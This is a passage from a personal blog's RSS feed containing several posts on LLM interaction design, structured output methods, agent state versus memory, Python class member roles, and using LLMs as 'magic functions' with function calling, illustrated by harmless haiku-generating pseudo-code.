<h3 id="文本处理应用-从-不可用-到-很好用-的跨越" tabindex="-1">文本处理应用：从&quot;不可用&quot;到&quot;很好用&quot;的跨越 <a class="header-anchor" href="#文本处理应用-从-不可用-到-很好用-的跨越" aria-label="Permalink to “文本处理应用：从&quot;不可用&quot;到&quot;很好用&quot;的跨越”">&#8203;</a></h3>
<p>另一个值得关注的领域是文本处理应用。在 LLM 的加持下，许多此类应用在功能性上获得了质的提升，实现了从&quot;不可用&quot;到&quot;很好用&quot;的关键跨越。</p>
<p>翻译软件是这一变化的典型代表。集成 LLM 后，翻译软件不再局限于处理小段文本的辅助角色，而是成为更值得信赖的专业工具，能够胜任全篇文章甚至整本书籍的翻译工作。更令人惊喜的是，在编程、法律、医学、金融等专业领域的翻译任务中，LLM 不仅表现出色，其准确性甚至可能超越人类专家。</p>
<p>语言学习软件同样经历了显著变化。对话练习、口语对练、作文批改等传统语言学习任务，在基于 LLM 的软件中都得到了很好的实现。</p>
<p>此外，邮件分类总结、RSS 信息订阅和整理等过去相对繁琐的功能，在 LLM 的支持下也变得触手可及。</p>
<h2 id="原生-llm-应用-完全依赖-ai-能力的新形态" tabindex="-1">原生 LLM 应用：完全依赖 AI 能力的新形态 <a class="header-anchor" href="#原生-llm-应用-完全依赖-ai-能力的新形态" aria-label="Permalink to “原生 LLM 应用：完全依赖 AI 能力的新形态”">&#8203;</a></h2>
<p>所谓&quot;原生&quot;，指的是完全依赖于 LLM 产出文本、序列或数据能力而构建的应用。</p>
<h3 id="agent-从简单指令到复杂任务" tabindex="-1">Agent：从简单指令到复杂任务 <a class="header-anchor" href="#agent-从简单指令到复杂任务" aria-label="Permalink to “Agent：从简单指令到复杂任务”">&#8203;</a></h3>
<p>Agent 无疑是今年最火热的概念之一。在我看来，它所指的是一个具有通用性的全能助理程序：用户只需输入简单的指令，它就能根据指令完成复杂的任务。根据任务类型的不同，Agent 可以分为两大类：产出内容的 agent 和执行任务的 agent。</p>
<p>产出内容的 agent 中，最典型的例子包括 deep research 和 coding agent。Deep research 虽然仍聚焦于文字任务，但通过多次迭代能够产出综合性报告，有时甚至可以排版成 HTML 格式以提升可读性。Coding agent 则专注于代码产出，尽管用户给出的指令简单，但它能自主探索庞大的代码库，并提供符合用户需求的精准修改。</p>
<p>执行任务的 agent 则有所不同，&quot;点外卖 agent&quot;就是一个很好的例子。这类 agent 的价值不在于文本输出的精妙程度，而在于能否按用户预期完成实际任务。</p>
<p>值得注意的是，尽管 agent 应用功能强大，但大多数仍然采用对话框作为前端交互形式。</p>
<h3 id="更多原生应用的可能性-超越文本指令" tabindex="-1">更多原生应用的可能性：超越文本指令 <a class="header-anchor" href="#更多原生应用的可能性-超越文本指令" aria-label="Permalink to “更多原生应用的可能性：超越文本指令”">&#8203;</a></h3>
<p>有观点认为对话框将取代 GUI 或 CLI/TUI，成为新一代的主流交互模式。但请注意，输入文本指令（即使使用语音输入）实际上是相当繁琐的过程：它首先需要调动大脑进行措辞思考，然后在物理层面完成输入动作。相比之下，短视频的核心交互只需一个简单的下滑动作，用户就能完成内容消费。而 UI 中常见的选框、按钮、滑块等组件，都代表着相当简洁的交互形式。</p>
<p>那么，如果我们摒弃文本指令输入，采用更简单的输入方式，同时仍然围绕 LLM 产出文本或数据的核心能力，会催生出怎样的原生应用呢？</p>
<p>最简单的例子是&quot;一键 xxx&quot;功能，如一键转换手办图片、一键翻译等。这些应用将 LLM 视为&quot;魔法按钮&quot;，用户只需点击按钮即可触发 LLM 完成相应任务。</p>
<p>最近我设计了一个名为&quot;<a href="https://github.com/WondersTown/WikiSurfing" target="_blank" rel="noreferrer">WikiSurfing: 无限的虚拟维基百科</a>&quot;的小玩具，它的交互核心在于利用 Web 中最基础的超链接机制，构建了一个虚拟百科网站。用户点击超链接时，会跳转到相应的 LLM 生成页面。这一设计旨在重现&quot;网上冲浪&quot;的传统乐趣。</p>
<p>游戏领域同样蕴含着巨大潜力，特别是角色扮演游戏。RPG 游戏的核心在于玩家与游戏世界的交互，而 LLM 能够为玩家提供一个虚拟而无限的世界，同时创造出极具拟人特色的 NPC。如果进一步赋予 NPC 与玩家相同的行为能力，那么 NPC 就真正与玩家处于平等地位了。</p>
<h2 id="陪伴者-平等地位的-ai-存在" tabindex="-1">陪伴者：平等地位的 AI 存在 <a class="header-anchor" href="#陪伴者-平等地位的-ai-存在" aria-label="Permalink to “陪伴者：平等地位的 AI 存在”">&#8203;</a></h2>
<p>如果说 RPG 游戏中的 NPC 与玩家处于平等地位，那么这或许会催生类似 MMORPG（大型多人在线角色扮演游戏）的全新游戏形式。但如果将这种平等地位的 NPC 概念延伸到现实世界，它会呈现出怎样的形态？我可以称之为陪伴者。</p>
<p>我认为陪伴者代表着一类相当特殊的交互形式。它的特征不在于具备某些具体功能，而在于能够在心理层面与用户产生真正的交互。这首先要求用户相信其人格化的存在，也就是&quot;图灵测试&quot;的本质含义；而通过“图灵测试”的前提正是要求它在功能上足够丰富而强大。LLM 的诞生让这一切成为可能：从基础的对话交流，到数字世界中的各种行为表现，最终延伸至物理世界中的实际行动。</p>
<h2 id="总结-迈向有机的人机交互" tabindex="-1">总结：迈向有机的人机交互 <a class="header-anchor" href="#总结-迈向有机的人机交互" aria-label="Permalink to “总结：迈向有机的人机交互”">&#8203;</a></h2>
<p>本文系统梳理了 LLM 人机交互的多种形态：从最基础的对话框和搜索框，到深度集成的泛 Copilot 和文本处理应用，再到完全依赖 LLM 能力的原生应用如 Agent，最后展望了具有人格化特征的陪伴者形态。</p>
<p>这些交互形式呈现出清晰的演进脉络：从简单的文本输入输出，到深度集成用户工作流程，再到创造全新的交互体验。每一种形态都有其独特的价值和适用场景，它们之间并非简单的替代关系，而是相互补充的生态体系。</p>
<p>真正&quot;有机&quot;的 LLM 人机交互，应当根据具体场景灵活选择最合适的交互形式，让技术自然而然地融入人们的生活和工作中。随着 LLM 能力的持续提升，我们有理由期待更多创新交互形式的涌现，最终实现人与 AI 的和谐共存。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Does My LLM Structured Output Perform Poorly?]]></title>
            <link>https://blog.yanli.one/Why-Does-My-LLM-Structured-Output-Perform-Poorly</link>
            <guid isPermaLink="false">https://blog.yanli.one/Why-Does-My-LLM-Structured-Output-Perform-Poorly</guid>
            <pubDate>Sun, 17 Aug 2025 16:00:00 GMT</pubDate>
            <description><![CDATA[There is no silver bullet for LLM structured output.]]></description>
            <content:encoded><![CDATA[<p>Getting structured output from Large Language Models is crucial for many real-world applications, yet it remains one of the most challenging aspects of working with LLMs.</p>
<p>Through my experience with different structured output methods, I've discovered that there's no universal solution. This article examines three distinct approaches I've implemented: tool calling APIs, XML-based methods, and custom Domain-Specific Languages (DSLs). Each has unique strengths and limitations that make them suitable for different scenarios.</p>
<h1 id="_1-tool-calling-api" tabindex="-1">1. Tool Calling API <a class="header-anchor" href="#_1-tool-calling-api" aria-label="Permalink to “1. Tool Calling API”">&#8203;</a></h1>
<p>This is the most common method for generating structured output from LLMs. However, some LLMs do not well support the tool calling API and we may need to use ReAct to do it. I created a Python intermediate layer that functions like a tool calling API but uses a prompt-based method under the hood: <a href="https://github.com/BeautyyuYanli/tooluser" target="_blank" rel="noreferrer">https://github.com/BeautyyuYanli/tooluser</a>.</p>
<p>The biggest problem with the tool calling API is that it is trained differently from other parts of the LLM.</p>
<p>Text responses, reasoning, and tool calling responses are trained differently, so we often find that the LLM thinks in one direction but responds in a completely different way (especially in early versions of the O-series and DeepSeek R1). The same problem exists for tool use APIs, but in a relatively implicit way.</p>
<p>One example is role-playing applications. The LLM should have good literary expression while also providing structured output for roles' thoughts, actions, etc. If we use the tool calling API in these cases, the LLM will lose literary expression entirely.</p>
<h1 id="_2-common-xml" tabindex="-1">2. Common XML <a class="header-anchor" href="#_2-common-xml" aria-label="Permalink to “2. Common XML”">&#8203;</a></h1>
<p>To solve the problem addressed above, I found that XML is an effective method. XML itself is friendly to text expression (no quotes, no escape problems), and that's the reason HTML was invented.</p>
<p>For LLMs, I simply use prompts to describe the XML output structure and employ a validator for the LLM text response. By using XML, the LLM can maintain excellent literary expression within structured output. I created a simple Python library for my usage: <a href="https://github.com/BeautyyuYanli/qwq-tag" target="_blank" rel="noreferrer">https://github.com/BeautyyuYanli/qwq-tag</a></p>
<h1 id="_3-custom-dsl" tabindex="-1">3. Custom DSL <a class="header-anchor" href="#_3-custom-dsl" aria-label="Permalink to “3. Custom DSL”">&#8203;</a></h1>
<p>In contrast to literary expression, another use case for LLMs is producing complex structured output. If the structure is JSON or a mainstream DSL like PostgreSQL, the LLM can easily produce the desired result. However, in my case, I want to produce ISO GQL (Graph Query Language, a SQL-like language for graph databases). The LLM has limited knowledge about it and can hardly understand my instructions. This raises two problems: how to validate the output, and how to help the LLM produce better output?</p>
<p>The core principle is to create intermediate expressions. I created a two-step workflow: the first step translates the instruction to pseudo-code, then produces the DSL from the pseudo-code. It works like a <code>&lt;think&gt;</code> process before answering, but I prompt the model to use pseudo-code as the <code>&lt;think&gt;</code> content. This method significantly enhances output quality.</p>
<p>To validate the LLM output, I map the DSL to JSON and use the tool calling API to produce the JSON. Another approach is to use an AST-based checker.</p>
<p>However, if the LLM struggles to create correct grammar, it will require a loop of trial-and-error to fix problems, which may harm the quality of the final result. Additionally, creating a good checker with informative, human/LLM-readable error messages is not trivial.</p>
<p>Guided generation for LLMs, such as <a href="https://docs.vllm.ai/en/stable/features/structured_outputs.html" target="_blank" rel="noreferrer">that supported by vLLM</a>, may be another promising solution.</p>
<h1 id="in-conclusion" tabindex="-1">In Conclusion <a class="header-anchor" href="#in-conclusion" aria-label="Permalink to “In Conclusion”">&#8203;</a></h1>
<p>Each structured output approach serves different needs and priorities. The choice ultimately depends on your specific requirements.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Agents Need “State” Instead of “Memory”]]></title>
            <link>https://blog.yanli.one/agents-need-states-zh</link>
            <guid isPermaLink="false">https://blog.yanli.one/agents-need-states-zh</guid>
            <pubDate>Fri, 23 May 2025 16:00:00 GMT</pubDate>
            <description><![CDATA[如果我们想要一个解决问题的 “工业机器人” agent，这种 memory 既不符合我们欣赏的软件哲学，在技术上也值得质疑。“工业机器人” agent 需要设计的是 state。]]></description>
            <content:encoded><![CDATA[<p>正如我在<a href="https://blog.beautyyu.one/only-two-methods-needed-for-agents" target="_blank" rel="noreferrer">此文</a>中所提及，当我们设计 agent 的时候，我们最终想要的是一个无所不能的超级函数：给定输入，获得输出，中间产生一些副作用。</p>
<p>但作为程序员我们都知道，函数还是一个比较低级的抽象，在业务场景下表达力不够强。这其中的一大原因是：函数自己是不维护状态的，它只能通过产生副作用来改变外部状态。为了解决这个问题，现代软件工程有两种解法：一是 continuation 或称 coroutine，二是 object 或称 OOP。后者显然由于其更贴近业务建模而更流行。</p>
<p>那么我们怎么把 agent 从“超级函数”升级为“超级object”？熟悉大模型应用的朋友们或许已经想到了，那就是给 agent 加上 memory。</p>
<p>使用 memory 一词的时候我们不妨想想，到底有什么是值得记忆的？比如，作为终端用户来说，我希望我的 chatbot 能记住我们之间每一次对话的每个细节，这是一种 memory。但是如果我的 agent 要处理一个特定的任务，它一轮一轮地调用 tools，它用 memory 记住每一个 tool 的每一个具体输出，这有价值吗？</p>
<p>由此看来，tools 的输出对于 agent 来说更像是 log，而 agent 真正需要的答案藏在 log 当中，那些将影响 agent 下一轮行动的信息，才是 agent 内在需要记忆的信息。</p>
<p>因此相比于 memory，我们应该换一个词称呼它：state。agent 在每一轮运行过程中，它首先根据自己的 state 做出决策、调用工具，然后根据 tool output 更新自己所处的 state，再进入下一轮运行。就像一个寻路机器人要知道自己在迷宫中的位置及先前探索过的路线，然后据此做出下一步移动。</p>
<p>而 memory 一词所描述的，指的大概是将 agent “所观察到的所有的历史”，完整地视为 agent “所处的 state”。当我们讨论在开放世界中活动的 AGI agent 时，这确实是最 general 的理解。</p>
<p>但如果我们想要一个解决问题的“工业机器人” agent，这种 memory 既不符合我们欣赏的软件哲学，在技术上也值得质疑。“工业机器人” agent 需要设计的是 state。</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Roles of Member Var in An Object]]></title>
            <link>https://blog.yanli.one/role-of-member-var-in-a-class</link>
            <guid isPermaLink="false">https://blog.yanli.one/role-of-member-var-in-a-class</guid>
            <pubDate>Sun, 24 Nov 2024 16:00:00 GMT</pubDate>
            <description><![CDATA[Member var in an object can be: owned or borrowed resources, states, configs, and child objects.]]></description>
            <content:encoded><![CDATA[<p>Here is a typical class definition to show different roles of member variables:</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Parent</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # config</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    feature_a_flag: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">bool</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # borrowed resources</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    """This is a client to do HTTP requests.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    It is initialized globally, </span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    and shared with all objects in the program."""</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    client: Client</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # owned resources</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    """This is a connection to a database server.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    We need to call `connect()` to start using it.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">    And we need to call `close()` when we're done."""</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    conn: Connection</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # states</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    last_modified_time: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">float</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # children objects</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    child: List[Child]</span></span></code></pre>
</div><h2 id="config" tabindex="-1">Config <a class="header-anchor" href="#config" aria-label="Permalink to “Config”">&#8203;</a></h2>
<p>Config is relatively simple. It is usually primitive values, like strings, numbers, booleans, etc. Or is is a composition of primitive values, like a JSON style object.</p>
<p>It is read-only and not changeable at runtime. Usually set up in the constructor.</p>
<p>Since it is read-only, it's safe to share across objects, like passing it to the constructor of other objects.</p>
<p>And since it is primitive, we can use it without worrying about memory management. Just pass it around and let GC to do its job.</p>
<h2 id="borrowed-resources" tabindex="-1">Borrowed resources <a class="header-anchor" href="#borrowed-resources" aria-label="Permalink to “Borrowed resources”">&#8203;</a></h2>
<p>Borrowed resources are usually shared across objects. They may be initialized globally, and shared with all objects. Or may be initialized in some object and borrowed by other objects.</p>
<p>When an object borrows a resource from another object, it does not own it. It does not need to call <code>close()</code> to destroy it.</p>
<p>However the object need to make sure the resource is available when it needs to use it, That means its lifecycle must be within the owner's lifecycle. The owner object must be alive when the borrower object is alive, and the borrower object must be destroyed before the owner object is destroyed.</p>
<h2 id="owned-resources" tabindex="-1">Owned resources <a class="header-anchor" href="#owned-resources" aria-label="Permalink to “Owned resources”">&#8203;</a></h2>
<p>As previously described, owning a resource means the object is responsible for its lifecycle. It needs to call <code>close()</code> to destroy it.</p>
<h2 id="states" tabindex="-1">States <a class="header-anchor" href="#states" aria-label="Permalink to “States”">&#8203;</a></h2>
<p>The word &quot;state&quot; can contain all informations that make up the object. However, we define it here to be a subset of owned resources. It is owned by the object and not shared with others.</p>
<p>The state only serves the object itself. It is frequently modified by the object's methods. In contrast, the configs and resources are usually set in the constructor, and not modified afterwards.</p>
<p>Although we may call a mutable method of a resource, it is changing the state of the resource, not the state of the object itself.</p>
<p>You may notice that the state of a owned resource is also a kind of state of the object itself. But we still separate them for clarity. It is a &quot;sub-state&quot;.</p>
<h2 id="children-objects" tabindex="-1">Children objects <a class="header-anchor" href="#children-objects" aria-label="Permalink to “Children objects”">&#8203;</a></h2>
<p>Children objects can also be considered as a kind of owned resources or states. The parent object is responsible for its lifecycle.</p>
<p>A child object can have its own states, and as mentioned above, they are sub-states of the parent object.</p>
<p>A child object can own its resources, or borrow resources from the parent object. That is intuitive, because its lifecycle is managed by the parent object, so it is naturally within the parent's lifecycle.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Only Two Methods Needed for Agents -- LLM as a "magic function" & LLM do "function calling"]]></title>
            <link>https://blog.yanli.one/only-two-methods-needed-for-agents</link>
            <guid isPermaLink="false">https://blog.yanli.one/only-two-methods-needed-for-agents</guid>
            <pubDate>Fri, 26 Apr 2024 16:00:00 GMT</pubDate>
            <description><![CDATA[Trying to build AGI with only two methods!]]></description>
            <content:encoded><![CDATA[<p><img src="https://miro.medium.com/v2/resize:fit:1400/format:webp/1*7wVvD02hd0ovhgwrBg8_2g.jpeg" alt="" loading="lazy"></p>
<p>Generally speaking, an agent means the AI model that can interact with the environment.</p>
<p>But let's look into a little deeper. As I used to seen on Twitter, there were two experiments when ChatGPT was newly introduced:</p>
<ul>
<li>You are playing like a terminal of a computer. When I type commands, you will give me the response.</li>
<li>I'm playing like a terminal of a computer. When you type commands, I will give you the response.</li>
</ul>
<p>In practice, I find these two ways are basically all an agent needs to work. Let's take a look at the first one -- in a programming way:</p>
<p>The prompt is:</p>
<div class="language-"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>You are a haiku poet. You are given the following information:</span></span>
<span class="line"><span>CITY: {city}</span></span>
<span class="line"><span>WEATHER: {weather}</span></span>
<span class="line"><span></span></span>
<span class="line"><span>You need to write an haiku poem about the weather. Your output format should be a JSON string like:</span></span>
<span class="line"><span>{</span></span>
<span class="line"><span>  "haiku": "The first line of the haiku.\nThe second line of the haiku.\nThe third line of the haiku."</span></span>
<span class="line"><span>}</span></span></code></pre>
</div><p>Then we write a (pesudo) code:</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> invoke</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(city: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, weather: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) -> </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    prompt </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> template.format(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">city</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">city, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">weather</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">weather)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    json_ans </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> llm.generate(prompt)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    json_ans </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> clear_json_ans(json_ans)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    ans </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> json.loads(json_ans)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ans[</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'haiku'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span></code></pre>
</div><p>The main idea here is that we treat the LLM as a magic function. It can solve a problem with some unknown magic steps. We just need to give it the input and get the output.</p>
<p>You can find the similar idea and tools in <a href="https://docs.llamaindex.ai/en/stable/module_guides/querying/structured_outputs/output_parser/" target="_blank" rel="noreferrer">LlamaIndex output parser</a>.</p>
<hr>
<p>Now let's start from the functions. A function is basically composed of three parts:</p>
<ul>
<li>Input: you give arguments to the function.</li>
<li>Output: the function gives you the result.</li>
<li>Side Effects: the function may change the environment.</li>
</ul>
<p>Side effect means something other than output will be produced, during the function call. For example, a function may change the value of a global variable, or print something to the screen. This is an important concept for all programming languages except for functional programming languages.</p>
<p>In the context of AI agent, one of the most important side effects may be from hardwares, which can create physical changes in the real world, resulting in the thing we call &quot;robot&quot;.</p>
<p>However, since LLM is simply predicting the next token from the input, it doesn't have any side effects. If we want to build an agent which can interact with the environment, we need to use some methods to let the &quot;magic function&quot; to create side effects. OpenAI introduced the API &quot;function calling&quot; to achieve this goal.</p>
<p>Now let's define a function which can create side effects:</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> send_haiku_to_twitter</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(haiku: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    twitter_api.post(haiku)</span></span></code></pre>
</div><p>Now let's update the prompt:</p>
<div class="language-"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>You are a haiku poet. You are given the following information:</span></span>
<span class="line"><span>CITY: {city}</span></span>
<span class="line"><span>WEATHER: {weather}</span></span>
<span class="line"><span></span></span>
<span class="line"><span>You need to write an haiku poem about the weather, and then send it to Twitter.</span></span></code></pre>
</div><p>The (pesudo) code:</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> invoke</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(city: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, weather: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) -> </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">None</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    prompt </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> template.format(</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">city</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">city, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">weather</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">weather)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    llm.generate_with_function(prompt, </span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70">functions</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[send_haiku_to_twitter])</span></span></code></pre>
</div><p>It is still a magic function, but now the code make use of the function calling API to call the function <code>send_haiku_to_twitter</code>, so that it indirectly creates a side effect: Twitter's server recieved a new post.</p>
<p>You can find the tools in <a href="https://docs.llamaindex.ai/en/stable/module_guides/deploying/agents/tools/#functiontool" target="_blank" rel="noreferrer">LlamaIndex function tools</a>.</p>
<hr>
<p>Now the magic function have the ability to call other functions, the purpose can be more than the indirect side effects.</p>
<p>It can also use the output of the function call, that can help the agent to gather more information, or to make decisions.</p>
<p>For example, the agent can call a function to get the current weather of the city, and then use the weather information to generate the haiku.</p>
<div class="language-python"><button title="Copy Code" class="copy"></button><span class="lang">python</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> get_location</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() -> </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Shanghai"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> get_temperature</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(location: </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">str</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, unit: Literal[</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"C"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"F"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "C"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) -> </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">float</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">:</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 15.5</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> unit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "C"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> else</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 60</span></span></code></pre>
</div><p>Modify the prompt:</p>
<div class="language-"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span>You are a haiku poet.</span></span>
<span class="line"><span>Use the given tools to get the weather information.</span></span>
<span class="line"><span>Then you need to write an haiku poem about the weather.</span></span>
<span class="line"><span>Finally send the haiku to Twitter.</span></span></code></pre>
</div><p>The (pesudo) code:</p>
